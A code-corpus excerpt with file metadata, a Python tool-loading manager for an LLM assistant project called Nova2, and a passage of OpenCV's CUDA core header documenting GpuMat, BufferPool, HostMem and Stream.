"qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
00Julian00/Nova2 | app/tool_manager.py | """
Description: This script manages the LLM tools.
"""
from pathlib import Path
import warnings
import importlib.util
import ast
import inspect
from docstring_parser import parse
from Nova2.app.tool_data import LLMTool, LLMToolParameter, LLMToolCall
from Nova2.app.context_manager import ContextManager
from Nova2.app.context_data import ContextDatapoint, ContextSource_System
from Nova2.app.library_manager import LibraryManager
from Nova2.app.helpers import Singleton
from Nova2.app.api_tools import ToolAPI
from Nova2.tool_api.tool_api import ToolBaseClass
class ToolManager(Singleton):
def __init__(self) -> None:
"""
This class manages the internal and external tools, as well as their execution.
"""
self._loaded_tools: list[LLMTool] = []
self._tool_api_instance = ToolAPI()
self._lib_manager = LibraryManager()
def _dtype_mapper(self, type_: str) -> str:
"""
Maps datatype names to the json standard.
"""
match type_:
case "int":
return "integer"
case "float":
return "number"
case "str":
return "string"
case "bool":
return "boolean"
case "list":
return "array"
case "None":
return "null"
case "dict":
return "object"
case _:
raise ValueError(f"Type '{type_}' is not a valid type for tool parameters. Supported types are: int, float, str, bool, list, None, dict.")
def load_tools(self, load_internal: bool = True, **kwargs) -> list[LLMTool]:
"""
Loads all tools from the tools folder. Also imports all .py files in the tools folder, so that inheritance is possible (importing happens in ExternalToolManager).
Returns:
list[LLMTool]: A list of all loaded tools.
"""
if "include" in kwargs.keys() and "exclude" in kwargs.keys():
raise Exception("\"include\" and \"exclude\" parameter of \"load_tools\" can not be used at the same time. Use only one or none.")
tool_list = []
is_whitelist = False
if "include" in kwargs.keys():
tool_list = kwargs["include"]
is_whitelist = True
elif "exclude" in kwargs.keys():
tool_list = kwargs["exclude"]
internals = self._lib_manager.retrieve_datapoint(library_name="internal_tools", datapoint_name="internal_tools")
# Loads all the tools metadata and creates LLMTool objects from them.
tools_dir = Path(__file__).parent.parent / "tools"
for tool_dir in tools_dir.iterdir():
tool_name = tool_dir.name
if not load_internal and tool_name in internals:
continue
if is_whitelist:
if tool_name not in tool_list:
continue
else:
if tool_name in tool_list:
continue
# Load the scripts into memory and run on_startup() as well as saving the class
# uses the docstring parser to extract metadata from the docstring
inherited_class: ToolBaseClass = None # type: ignore
for script in tool_dir.glob("*.py"):
try:
spec = importlib.util.spec_from_file_location(script.stem, script)
if spec and spec.loader:
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
classes = [getattr(module, name) for name in dir(module) if isinstance(getattr(module, name), type)]
# Find a class that inherits from the tool base class
for cls in classes:
if issubclass(cls, ToolBaseClass) and cls != ToolBaseClass:
class_instance = cls()
if inherited_class != None:
raise Exception(f"More then one class found that inherits from ToolBaseClass in tool {tool_name}. Only one class can inherit from ToolBaseClass.")
inherited_class = class_instance
# Inject the API into the tool
inherited_class.api = self._tool_api_instance
# Gather tools and metadata
tools = inherited_class.__get_tools__()
for tool in tools:
docstring = parse(inspect.getdoc(tool)) # type: ignore
main_description = f"{docstring.short_description if docstring.short_description else ''} \n {docstring.long_description if docstring.long_description else ''}".strip()
if not docstring.short_description and not docstring.long_description:
main_description = "No description provided."
param_descriptions = {param.arg_name: param.description for param in docstring.params}
parameters = []
signature = inspect.signature(tool)
for name, param in signature.parameters.items():
if name == "self":
continue
type_annot = param.annotation
is_required = param.default == inspect.Parameter.empty
description = param_descriptions.get(name, "")
type_ = str(type_annot.__name__).replace("typing.", "")
type_ = self._dtype_mapper(type_)
parameters.append(
LLMToolParameter(
name=name,
description=description, #type: ignore
datatype=type_, # type: ignore
required=is_required
)
)
inherited_class.on_startup() # Run initialization code
self._loaded_tools.append(
LLMTool(
name=tool_name,
description=main_description,
parameters=parameters,
_instance=inherited_class
)
)
except Exception as e:
warnings.warn(f"Failed to load script {script}. Reason: {e}")
return self._loaded_tools
def _validate_tool_call(self, call: LLMToolCall, tool: LLMTool) -> bool:
# Verifies wether all parameters in the call are defined in the tool and wether the call
# contains all required parameters
# All parameters defined?
for param in call.parameters:
if not any(tool_param.name == param.name for tool_param in tool.parameters):
return False
# All required parameters present in call?
for param in tool.parameters:
if param.required:
if not any(call_param.name == param.name for call_param in call.parameters):
return False
return True
def execute_tool_call(self, tool_calls: list[LLMToolCall]) -> None:
"""
Attempts to run the scripts associated with the called tools.
If the tool fails to execute, a warning will be printed, but the functionality of the
core system will not be affected.
Arguments:
tool_calls (list[LLMToolCall]): The tools that should be executed.
"""
for tool_call in tool_calls:
try:
for tool in self._loaded_tools:
if tool.name == tool_call.name:
# Validate the tool call first
if not self._validate_tool_call(tool_call, tool):
dp = ContextDatapoint(
source=ContextSource_System(),
content=f"Tool \"{tool_call.name}\" could not be executed because it's call structure is incorrect. Please correct your tool call."
)
ContextManager().add_to_context(datapoint=dp)
continue
params = {}
for param in tool_call.parameters:
# Use ast to cast to an appropriate datatype
try:
casted_param = ast.literal_eval(param.value)
params[param.name] = casted_param
except:
# Parameter failed to be cast so most likely it should remain a string
params[param.name] = param.value
tool._instance._tool_call_id = tool_call.id
tool._instance.on_call(**params)
except Exception as e:
dp = ContextDatapoint(
source=ContextSource_System(),
content=f"Tool \"{tool_call.name}\" failed to execute for an unknown reason."
)
ContextManager().add_to_context(datapoint=dp)
warnings.warn(f"Tool {tool_call.name} failed to execute with error: {e}") | 9,822 | tool_manager | py | en | python | code | {"qsc_code_num_words": 981, "qsc_code_num_chars": 9822.0, "qsc_code_mean_word_length": 5.11824669, "qsc_code_frac_words_unique": 0.26503568, "qsc_code_frac_chars_top_2grams": 0.02230631, "qsc_code_frac_chars_top_3grams": 0.01433977, "qsc_code_frac_chars_top_4grams": 0.00776738, "qsc_code_frac_chars_dupe_5grams": 0.07548297, "qsc_code_frac_chars_dupe_6grams": 0.0611432, "qsc_code_frac_chars_dupe_7grams": 0.0360486, "qsc_code_frac_chars_dupe_8grams": 0.0360486, "qsc_code_frac_chars_dupe_9grams": 0.02668791, "qsc_code_frac_chars_dupe_10grams": 0.02668791, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0012042, "qsc_code_frac_chars_whitespace": 0.40816534, "qsc_code_size_file_byte": 9822.0, "qsc_code_num_lines": 224.0, "qsc_code_num_chars_line_max": 197.0, "qsc_code_num_chars_line_mean": 43.84821429, "qsc_code_frac_chars_alphabet": 0.86254946, "qsc_code_frac_chars_comments": 0.13989004, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.12244898, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.02040816, "qsc_code_frac_chars_string_length": 0.10707388, "qsc_code_frac_chars_long_word_length": 0.01303718, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.03401361, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.10204082, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.21768707, "qsc_codepython_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/cuda.hpp | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Copyright (C) 2013, OpenCV Foundation, all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifndef OPENCV_CORE_CUDA_HPP
#define OPENCV_CORE_CUDA_HPP
#ifndef __cplusplus
# error cuda.hpp header must be compiled as C++
#endif
#include "opencv2/core.hpp"
#include "opencv2/core/cuda_types.hpp"
/**
@defgroup cuda CUDA-accelerated Computer Vision
@{
@defgroup cudacore Core part
@{
@defgroup cudacore_init Initialization and Information
@defgroup cudacore_struct Data Structures
@}
@}
*/
namespace cv { namespace cuda {
//! @addtogroup cudacore_struct
//! @{
//===================================================================================
// GpuMat
//===================================================================================
/** @brief Base storage class for GPU memory with reference counting.
Its interface matches the Mat interface with the following limitations:
- no arbitrary dimensions support (only 2D)
- no functions that return references to their data (because references on GPU are not valid for
CPU)
- no expression templates technique support
Beware that the latter limitation may lead to overloaded matrix operators that cause memory
allocations. The GpuMat class is convertible to cuda::PtrStepSz and cuda::PtrStep so it can be
passed directly to the kernel.
@note In contrast with Mat, in most cases GpuMat::isContinuous() == false . This means that rows are
aligned to a size depending on the hardware. Single-row GpuMat is always a continuous matrix.
@note You are not recommended to leave static or global GpuMat variables allocated, that is, to rely
on its destructor. The destruction order of such variables and CUDA context is undefined. GPU memory
release function returns error if the CUDA context has been destroyed before.
Some member functions are described as a "Blocking Call" while some are described as a
"Non-Blocking Call". Blocking functions are synchronous to host. It is guaranteed that the GPU
operation is finished when the function returns. However, non-blocking functions are asynchronous to
host. Those functions may return even if the GPU operation is not finished.
Compared to their blocking counterpart, non-blocking functions accept Stream as an additional
argument. If a non-default stream is passed, the GPU operation may overlap with operations in other
streams.
@sa Mat
*/
class CV_EXPORTS_W GpuMat
{
public:
class CV_EXPORTS_W Allocator
{
public:
virtual ~Allocator() {}
// allocator must fill data, step and refcount fields
virtual bool allocate(GpuMat* mat, int rows, int cols, size_t elemSize) = 0;
virtual void free(GpuMat* mat) = 0;
};
//! default allocator
CV_WRAP static GpuMat::Allocator* defaultAllocator();
CV_WRAP static void setDefaultAllocator(GpuMat::Allocator* allocator);
//! default constructor
CV_WRAP explicit GpuMat(GpuMat::Allocator* allocator = GpuMat::defaultAllocator());
//! constructs GpuMat of the specified size and type
CV_WRAP GpuMat(int rows, int cols, int type, GpuMat::Allocator* allocator = GpuMat::defaultAllocator());
CV_WRAP GpuMat(Size size, int type, GpuMat::Allocator* allocator = GpuMat::defaultAllocator());
//! constructs GpuMat and fills it with the specified value _s
CV_WRAP GpuMat(int rows, int cols, int type, Scalar s, GpuMat::Allocator* allocator = GpuMat::defaultAllocator());
CV_WRAP GpuMat(Size size, int type, Scalar s, GpuMat::Allocator* allocator = GpuMat::defaultAllocator());
//! copy constructor
CV_WRAP GpuMat(const GpuMat& m);
//! constructor for GpuMat headers pointing to user-allocated data
GpuMat(int rows, int cols, int type, void* data, size_t step = Mat::AUTO_STEP);
GpuMat(Size size, int type, void* data, size_t step = Mat::AUTO_STEP);
//! creates a GpuMat header for a part of the bigger matrix
CV_WRAP GpuMat(const GpuMat& m, Range rowRange, Range colRange);
CV_WRAP GpuMat(const GpuMat& m, Rect roi);
//! builds GpuMat from host memory (Blocking call)
CV_WRAP explicit GpuMat(InputArray arr, GpuMat::Allocator* allocator = GpuMat::defaultAllocator());
//! destructor - calls release()
~GpuMat();
//! assignment operators
GpuMat& operator =(const GpuMat& m);
//! allocates new GpuMat data unless the GpuMat already has specified size and type
CV_WRAP void create(int rows, int cols, int type);
CV_WRAP void create(Size size, int type);
//! decreases reference counter, deallocate the data when reference counter reaches 0
void release();
//! swaps with other smart pointer
CV_WRAP void swap(GpuMat& mat);
/** @brief Performs data upload to GpuMat (Blocking call)
This function copies data from host memory to device memory. As being a blocking call, it is
guaranteed that the copy operation is finished when this function returns.
*/
CV_WRAP void upload(InputArray arr);
/** @brief Performs data upload to GpuMat (Non-Blocking call)
This function copies data from host memory to device memory. As being a non-blocking call, this
function may return even if the copy operation is not finished.
The copy operation may be overlapped with operations in other non-default streams if \p stream is
not the default stream and \p dst is HostMem allocated with HostMem::PAGE_LOCKED option.
*/
CV_WRAP void upload(InputArray arr, Stream& stream);
/** @brief Performs data download from GpuMat (Blocking call)
This function copies data from device memory to host memory. As being a blocking call, it is
guaranteed that the copy operation is finished when this function returns.
*/
CV_WRAP void download(OutputArray dst) const;
/** @brief Performs data download from GpuMat (Non-Blocking call)
This function copies data from device memory to host memory. As being a non-blocking call, this
function may return even if the copy operation is not finished.
The copy operation may be overlapped with operations in other non-default streams if \p stream is
not the default stream and \p dst is HostMem allocated with HostMem::PAGE_LOCKED option.
*/
CV_WRAP void download(OutputArray dst, Stream& stream) const;
//! returns deep copy of the GpuMat, i.e. the data is copied
CV_WRAP GpuMat clone() const;
//! copies the GpuMat content to device memory (Blocking call)
CV_WRAP void copyTo(OutputArray dst) const;
//! copies the GpuMat content to device memory (Non-Blocking call)
CV_WRAP void copyTo(OutputArray dst, Stream& stream) const;
//! copies those GpuMat elements to "m" that are marked with non-zero mask elements (Blocking call)
CV_WRAP void copyTo(OutputArray dst, InputArray mask) const;
//! copies those GpuMat elements to "m" that are marked with non-zero mask elements (Non-Blocking call)
CV_WRAP void copyTo(OutputArray dst, InputArray mask, Stream& stream) const;
//! sets some of the GpuMat elements to s (Blocking call)
CV_WRAP GpuMat& setTo(Scalar s);
//! sets some of the GpuMat elements to s (Non-Blocking call)
CV_WRAP GpuMat& setTo(Scalar s, Stream& stream);
//! sets some of the GpuMat elements to s, according to the mask (Blocking call)
CV_WRAP GpuMat& setTo(Scalar s, InputArray mask);
//! sets some of the GpuMat elements to s, according to the mask (Non-Blocking call)
CV_WRAP GpuMat& setTo(Scalar s, InputArray mask, Stream& stream);
//! converts GpuMat to another datatype (Blocking call)
CV_WRAP void convertTo(OutputArray dst, int rtype) const;
//! converts GpuMat to another datatype (Non-Blocking call)
CV_WRAP void convertTo(OutputArray dst, int rtype, Stream& stream) const;
//! converts GpuMat to another datatype with scaling (Blocking call)
CV_WRAP void convertTo(OutputArray dst, int rtype, double alpha, double beta = 0.0) const;
//! converts GpuMat to another datatype with scaling (Non-Blocking call)
CV_WRAP void convertTo(OutputArray dst, int rtype, double alpha, Stream& stream) const;
//! converts GpuMat to another datatype with scaling (Non-Blocking call)
CV_WRAP void convertTo(OutputArray dst, int rtype, double alpha, double beta, Stream& stream) const;
CV_WRAP void assignTo(GpuMat& m, int type = -1) const;
//! returns pointer to y-th row
uchar* ptr(int y = 0);
const uchar* ptr(int y = 0) const;
//! template version of the above method
template<typename _Tp> _Tp* ptr(int y = 0);
template<typename _Tp> const _Tp* ptr(int y = 0) const;
template <typename _Tp> operator PtrStepSz<_Tp>() const;
template <typename _Tp> operator PtrStep<_Tp>() const;
//! returns a new GpuMat header for the specified row
CV_WRAP GpuMat row(int y) const;
//! returns a new GpuMat header for the specified column
CV_WRAP GpuMat col(int x) const;
//! ... for the specified row span
CV_WRAP GpuMat rowRange(int startrow, int endrow) const;
CV_WRAP GpuMat rowRange(Range r) const;
//! ... for the specified column span
CV_WRAP GpuMat colRange(int startcol, int endcol) const;
CV_WRAP GpuMat colRange(Range r) const;
//! extracts a rectangular sub-GpuMat (this is a generalized form of row, rowRange etc.)
GpuMat operator ()(Range rowRange, Range colRange) const;
GpuMat operator ()(Rect roi) const;
//! creates alternative GpuMat header for the same data, with different
//! number of channels and/or different number of rows
CV_WRAP GpuMat reshape(int cn, int rows = 0) const;
//! locates GpuMat header within a parent GpuMat
CV_WRAP void locateROI(Size& wholeSize, Point& ofs) const;
//! moves/resizes the current GpuMat ROI inside the parent GpuMat
CV_WRAP GpuMat& adjustROI(int dtop, int dbottom, int dleft, int dright);
//! returns true iff the GpuMat data is continuous
//! (i.e. when there are no gaps between successive rows)
CV_WRAP bool isContinuous() const;
//! returns element size in bytes
CV_WRAP size_t elemSize() const;
//! returns the size of element channel in bytes
CV_WRAP size_t elemSize1() const;
//! returns element type
CV_WRAP int type() const;
//! returns element type
CV_WRAP int depth() const;
//! returns number of channels
CV_WRAP int channels() const;
//! returns step/elemSize1()
CV_WRAP size_t step1() const;
//! returns GpuMat size : width == number of columns, height == number of rows
CV_WRAP Size size() const;
//! returns true if GpuMat data is NULL
CV_WRAP bool empty() const;
//! internal use method: updates the continuity flag
CV_WRAP void updateContinuityFlag();
/*! includes several bit-fields:
- the magic signature
- continuity flag
- depth
- number of channels
*/
int flags;
//! the number of rows and columns
int rows, cols;
//! a distance between successive rows in bytes; includes the gap if any
CV_PROP size_t step;
//! pointer to the data
uchar* data;
//! pointer to the reference counter;
//! when GpuMat points to user-allocated data, the pointer is NULL
int* refcount;
//! helper fields used in locateROI and adjustROI
uchar* datastart;
const uchar* dataend;
//! allocator
Allocator* allocator;
};
/** @brief Creates a continuous matrix.
@param rows Row count.
@param cols Column count.
@param type Type of the matrix.
@param arr Destination matrix. This parameter changes only if it has a proper type and area (
\f$\texttt{rows} \times \texttt{cols}\f$ ).
Matrix is called continuous if its elements are stored continuously, that is, without gaps at the
end of each row.
*/
CV_EXPORTS_W void createContinuous(int rows, int cols, int type, OutputArray arr);
/** @brief Ensures that the size of a matrix is big enough and the matrix has a proper type.
@param rows Minimum desired number of rows.
@param cols Minimum desired number of columns.
@param type Desired matrix type.
@param arr Destination matrix.
The function does not reallocate memory if the matrix has proper attributes already.
*/
CV_EXPORTS_W void ensureSizeIsEnough(int rows, int cols, int type, OutputArray arr);
/** @brief BufferPool for use with CUDA streams
BufferPool utilizes Stream's allocator to create new buffers for GpuMat's. It is
only useful when enabled with #setBufferPoolUsage.
@code
setBufferPoolUsage(true);
@endcode
@note #setBufferPoolUsage must be called \em before any Stream declaration.
Users may specify custom allocator for Stream and may implement their own stream based
functions utilizing the same underlying GPU memory management.
If custom allocator is not specified, BufferPool utilizes StackAllocator by
default. StackAllocator allocates a chunk of GPU device memory beforehand,
and when GpuMat is declared later on, it is given the pre-allocated memory.
This kind of strategy reduces the number of calls for memory allocating APIs
such as cudaMalloc or cudaMallocPitch.
Below is an example that utilizes BufferPool with StackAllocator:
@code
#include <opencv2/opencv.hpp>
using namespace cv;
using namespace cv::cuda
int main()
{
setBufferPoolUsage(true); // Tell OpenCV that we are going to utilize BufferPool
setBufferPoolConfig(getDevice(), 1024 * 1024 * 64, 2); // Allocate 64 MB, 2 stacks (default is 10 MB, 5 stacks)
Stream stream1, stream2; // Each stream uses 1 stack
BufferPool pool1(stream1), pool2(stream2);
GpuMat d_src1 = pool1.getBuffer(4096, 4096, CV_8UC1); // 16MB
GpuMat d_dst1 = pool1.getBuffer(4096, 4096, CV_8UC3); // 48MB, pool1 is now full
GpuMat d_src2 = pool2.getBuffer(1024, 1024, CV_8UC1); // 1MB
GpuMat d_dst2 = pool2.getBuffer(1024, 1024, CV_8UC3); // 3MB
cvtColor(d_src1, d_dst1, CV_GRAY2BGR, 0, stream1);
cvtColor(d_src2, d_dst2, CV_GRAY2BGR, 0, stream2);
}
@endcode
If we allocate another GpuMat on pool1 in the above example, it will be carried out by
the DefaultAllocator since the stack for pool1 is full.
@code
GpuMat d_add1 = pool1.getBuffer(1024, 1024, CV_8UC1); // Stack for pool1 is full, memory is allocated with DefaultAllocator
@endcode
If a third stream is declared in the above example, allocating with #getBuffer
within that stream will also be carried out by the DefaultAllocator because we've run out of
stacks.
@code
Stream stream3; // Only 2 stacks were allocated, we've run out of stacks
BufferPool pool3(stream3);
GpuMat d_src3 = pool3.getBuffer(1024, 1024, CV_8UC1); // Memory is allocated with DefaultAllocator
@endcode
@warning When utilizing StackAllocator, deallocation order is important.
Just like a stack, deallocation must be done in LIFO order. Below is an example of
erroneous usage that violates LIFO rule. If OpenCV is compiled in Debug mode, this
sample code will emit CV_Assert error.
@code
int main()
{
setBufferPoolUsage(true); // Tell OpenCV that we are going to utilize BufferPool
Stream stream; // A default size (10 MB) stack is allocated to this stream
BufferPool pool(stream);
GpuMat mat1 = pool.getBuffer(1024, 1024, CV_8UC1); // Allocate mat1 (1MB)
GpuMat mat2 = pool.getBuffer(1024, 1024, CV_8UC1); // Allocate mat2 (1MB)
mat1.release(); // erroneous usage : mat2 must be deallocated before mat1
}
@endcode
Since C++ local variables are destroyed in the reverse order of construction,
the code sample below satisfies the LIFO rule. Local GpuMat's are deallocated
and the corresponding memory is automatically returned to the pool for later usage.
@code
int main()
{
setBufferPoolUsage(true); // Tell OpenCV that we are going to utilize BufferPool
setBufferPoolConfig(getDevice(), 1024 * 1024 * 64, 2); // Allocate 64 MB, 2 stacks (default is 10 MB, 5 stacks)
Stream stream1, stream2; // Each stream uses 1 stack
BufferPool pool1(stream1), pool2(stream2);
for (int i = 0; i < 10; i++)
{
GpuMat d_src1 = pool1.getBuffer(4096, 4096, CV_8UC1); // 16MB
GpuMat d_dst1 = pool1.getBuffer(4096, 4096, CV_8UC3); // 48MB, pool1 is now full
GpuMat d_src2 = pool2.getBuffer(1024, 1024, CV_8UC1); // 1MB
GpuMat d_dst2 = pool2.getBuffer(1024, 1024, CV_8UC3); // 3MB
d_src1.setTo(Scalar(i), stream1);
d_src2.setTo(Scalar(i), stream2);
cvtColor(d_src1, d_dst1, CV_GRAY2BGR, 0, stream1);
cvtColor(d_src2, d_dst2, CV_GRAY2BGR, 0, stream2);
// The order of destruction of the local variables is:
// d_dst2 => d_src2 => d_dst1 => d_src1
// LIFO rule is satisfied, this code runs without error
}
}
@endcode
*/
class CV_EXPORTS_W BufferPool
{
public:
//! Gets the BufferPool for the given stream.
explicit BufferPool(Stream& stream);
//! Allocates a new GpuMat of given size and type.
CV_WRAP GpuMat getBuffer(int rows, int cols, int type);
//! Allocates a new GpuMat of given size and type.
CV_WRAP GpuMat getBuffer(Size size, int type) { return getBuffer(size.height, size.width, type); }
//! Returns the allocator associated with the stream.
CV_WRAP Ptr<GpuMat::Allocator> getAllocator() const { return allocator_; }
private:
Ptr<GpuMat::Allocator> allocator_;
};
//! BufferPool management (must be called before Stream creation)
CV_EXPORTS_W void setBufferPoolUsage(bool on);
CV_EXPORTS_W void setBufferPoolConfig(int deviceId, size_t stackSize, int stackCount);
//===================================================================================
// HostMem
//===================================================================================
/** @brief Class with reference counting wrapping special memory type allocation functions from CUDA.
Its interface is also Mat-like but with additional memory type parameters.
- **PAGE_LOCKED** sets a page locked memory type used commonly for fast and asynchronous
uploading/downloading data from/to GPU.
- **SHARED** specifies a zero copy memory allocation that enables mapping the host memory to GPU
address space, if supported.
- **WRITE_COMBINED** sets the write combined buffer that is not cached by CPU. Such buffers are
used to supply GPU with data when GPU only reads it. The advantage is a better CPU cache
utilization.
@note Allocation size of such memory types is usually limited. For more details, see *CUDA 2.2
Pinned Memory APIs* document or *CUDA C Programming Guide*.
*/
class CV_EXPORTS_W HostMem
{
public:
enum AllocType { PAGE_LOCKED = 1, SHARED = 2, WRITE_COMBINED = 4 };
static MatAllocator* getAllocator(HostMem::AllocType alloc_type = HostMem::AllocType::PAGE_LOCKED);
CV_WRAP explicit HostMem(HostMem::AllocType alloc_type = HostMem::AllocType::PAGE_LOCKED);
HostMem(const HostMem& m);
CV_WRAP HostMem(int rows, int cols, int type, HostMem::AllocType alloc_type = HostMem::AllocType::PAGE_LOCKED);
CV_WRAP HostMem(Size size, int type, HostMem::AllocType alloc_type = HostMem::AllocType::PAGE_LOCKED);
//! creates from host memory with coping data
CV_WRAP explicit HostMem(InputArray arr, HostMem::AllocType alloc_type = HostMem::AllocType::PAGE_LOCKED);
~HostMem();
HostMem& operator =(const HostMem& m);
//! swaps with other smart pointer
CV_WRAP void swap(HostMem& b);
//! returns deep copy of the matrix, i.e. the data is copied
CV_WRAP HostMem clone() const;
//! allocates new matrix data unless the matrix already has specified size and type.
CV_WRAP void create(int rows, int cols, int type);
void create(Size size, int type);
//! creates alternative HostMem header for the same data, with different
//! number of channels and/or different number of rows
CV_WRAP HostMem reshape(int cn, int rows = 0) const;
//! decrements reference counter and released memory if needed.
void release();
//! returns matrix header with disabled reference counting for HostMem data.
CV_WRAP Mat createMatHeader() const;
/** @brief Maps CPU memory to GPU address space and creates the cuda::GpuMat header without reference counting
for it.
This can be done only if memory was allocated with the SHARED flag and if it is supported by the
hardware. Laptops often share video and CPU memory, so address spaces can be mapped, which
eliminates an extra copy.
*/
GpuMat createGpuMatHeader() const;
// Please see cv::Mat for descriptions
CV_WRAP bool isContinuous() const;
CV_WRAP size_t elemSize() const;
CV_WRAP size_t elemSize1() const;
CV_WRAP int type() const;
CV_WRAP int depth() const;
CV_WRAP int channels() const;
CV_WRAP size_t step1() const;
CV_WRAP Size size() const;
CV_WRAP bool empty() const;
// Please see cv::Mat for descriptions
int flags;
int rows, cols;
CV_PROP size_t step;
uchar* data;
int* refcount;
uchar* datastart;
const uchar* dataend;
AllocType alloc_type;
};
/** @brief Page-locks the memory of matrix and maps it for the device(s).
@param m Input matrix.
*/
CV_EXPORTS_W void registerPageLocked(Mat& m);
/** @brief Unmaps the memory of matrix and makes it pageable again.
@param m Input matrix.
*/
CV_EXPORTS_W void unregisterPageLocked(Mat& m);
//===================================================================================
// Stream
//===================================================================================
/** @brief This class encapsulates a queue of asynchronous calls.
@note Currently, you may face problems if an operation is enqueued twice with different data. Some
functions use the constant GPU memory, and next call may update the memory before the previous one
has been finished. But calling different operations asynchronously is safe because each operation
has its own constant buffer. Memory copy/upload/download/set operations to the buffers you hold are
also safe.
@note The Stream class is not thread-safe. Please use different Stream objects for different CPU threads.
@code
void thread1()
{
cv::cuda::Stream stream1;
cv::cuda::func1(..., stream1);
}
void thread2()
{
cv::cuda::Stream stream2;
cv::cuda::func2(..., stream2);
}
@endcode
@note By default all CUDA routines are launched in Stream::Null() object, if the stream is not specified by user.
In multi-threading environment the stream objects must be passed explicitly (see previous note).
*/
class CV_EXPORTS_W Stream
{
typedef void (Stream::*bool_type)() const;
void this_type_does_not_support_comparisons() const {}
public:
typedef void (*StreamCallback)(int status, void* userData);
//! creates a new asynchronous stream
CV_WRAP Stream();
//! creates a new asynchronous stream with custom allocator
CV_WRAP Stream(const Ptr<GpuMat::Allocator>& allocator);
/** @brief Returns true if the current stream queue is finished. Otherwise, it returns false.
*/
CV_WRAP bool queryIfComplete() const;
/** @brief Blocks the current CPU thread until all operations in the stream are complete.
*/
CV_WRAP void waitForCompletion();
